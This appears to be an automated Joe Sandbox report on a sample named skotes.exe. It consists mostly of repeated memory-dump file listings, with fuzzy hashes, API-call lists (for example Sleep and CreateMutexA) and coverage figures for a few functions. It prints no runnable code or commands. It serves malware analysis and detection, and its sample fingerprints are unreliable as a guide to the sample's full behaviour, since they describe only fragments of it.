Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e47488fcbf526a87997d53cbbe8f6c45a59cb0e897400921ae22c952af1cd33e
Instruction ID: 1dee9ad3c0bbc20c4460292b1dee068d6b2c357a102a059cb0050a98c2533ef9
Opcode Fuzzy Hash: e47488fcbf526a87997d53cbbe8f6c45a59cb0e897400921ae22c952af1cd33e
Instruction Fuzzy Hash: 71213A3164D201DAEB2867BCDC9AB3DB372DFD5305FA4C926E24C962D1CB7699808253

Function 0017A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0017A963
CreateMutexA.KERNELBASE(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 84a9fcff86db3abcbdf30d112ead5ff2e6cb0ad1aebcac9d413e032587762860
Instruction ID: 6240a7455329bc2a8ff801619055934d390536ef4e4e9e18e0ca5d6b8f48aecd
Opcode Fuzzy Hash: 84a9fcff86db3abcbdf30d112ead5ff2e6cb0ad1aebcac9d413e032587762860
Instruction Fuzzy Hash: BD2149316442009BEB189F68EC8977CB7B2EFD1319F64C629E41C977D4C775AA808752

Function 001AD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001AA813,00000001,00000364,00000006,000000FF,?,001AEE3F,?,00000004,00000000,?,?), ref: 001AD871

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f3414e095f4bf6c2c98a5a4cff8558d625facd59129a4f8bbfb7bc248827a483
Instruction ID: e63d72652ecf7c1e5e258557562105ab9dbc1ad59855faa7054f1d776c65929b
Opcode Fuzzy Hash: f3414e095f4bf6c2c98a5a4cff8558d625facd59129a4f8bbfb7bc248827a483
Instruction Fuzzy Hash: 95F02E3D50192466DB212B72BC01A6B3759DF573B0B168021EC0697981DB38DC1081E0

Non-executed Functions

Function 00172EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00172F5F
GetCurrentThreadId.KERNEL32 ref: 00172F7E
__Mtx_unlock.LIBCPMT ref: 00172FCC
__Cnd_broadcast.LIBCPMT ref: 00172FE3
__Mtx_unlock.LIBCPMT ref: 001730F5
GetCurrentThreadId.KERNEL32 ref: 00173132
__Mtx_unlock.LIBCPMT ref: 0017319B

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: f0d2ec83adba00ea975ef18e1ee9bca13a4505d8953786c248d32530c7933fa3
Instruction ID: 8871e70802be34c136ded6d1a04530179b39a970e5ca7bc316d01d12b7686669
Opcode Fuzzy Hash: f0d2ec83adba00ea975ef18e1ee9bca13a4505d8953786c248d32530c7933fa3
Instruction Fuzzy Hash: C1A1D2B1A052059FDB10EF64C944B9AB7F8FF25314F148169E829D7281EB31EB05DBE1

Function 001ACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001ACC66

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 3d5789ccc5744534c09949a518d858638e5d722c285aea33a695ab79c4159394
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: FEB1113A9042869FDB158F68C8817EEBFE5EF56350F1581AAE855EB242D7348D01CBE0

Function 0018BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0018BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0018BBE4
_xtime_get.LIBCPMT ref: 0018BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0018BC13

Memory Dump Source

Source File: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.2173445167.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173468977.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173521374.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173537141.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173553915.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173568702.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173583172.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173671149.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173688756.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173707275.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173738596.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173754222.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173769910.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173785244.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173804381.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173818583.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173834116.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173849725.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173868224.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173885205.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173901343.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173916908.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173931796.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173950319.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173964848.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173979314.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173995442.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174010012.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174024606.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174040457.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174058291.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174073463.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174089320.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174104827.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174124452.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174140919.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174184821.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174199142.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174213902.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174227787.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174243943.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2174259856.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: bdbb2262e89c2538b89ed6948aae7b7f2955f6bef16e4d8519068b63151ff8e4
Instruction ID: c460025e69c6dd4c0137889d2fcddb4f338e8a3e4e255b3496db45c22c27a85b
Opcode Fuzzy Hash: bdbb2262e89c2538b89ed6948aae7b7f2955f6bef16e4d8519068b63151ff8e4
Instruction Fuzzy Hash: 0B211B71A00119AFDF01EBA4D8819BEBBB9EF18710F100025FA05A7261DB309E419FA0

Analysis Process: skotes.exePID: 2516, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
